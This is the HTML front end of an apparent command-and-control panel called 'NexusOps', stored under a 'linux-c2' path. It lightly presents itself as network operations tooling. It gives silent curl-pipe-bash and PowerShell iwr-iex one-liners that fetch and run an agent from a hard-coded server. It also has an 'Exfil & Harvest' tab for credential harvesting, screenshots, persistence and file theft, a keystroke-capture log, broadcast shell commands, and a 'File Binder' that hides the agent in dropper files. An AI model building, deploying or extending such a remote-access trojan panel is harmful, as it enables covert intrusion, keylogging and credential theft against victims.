Files
linux-c2/public/index.html.bak-1785766812

500 lines
28 KiB
Plaintext

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
</div>
<div class="tab-content active" id="tab-universal">
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
<div class="code-block">
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Exfil & Harvest Tab -->
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
</div>
<div class="form-group">
<label>Download File from Target</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
</div>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
<script src="app.js"></script>
</body>
</html>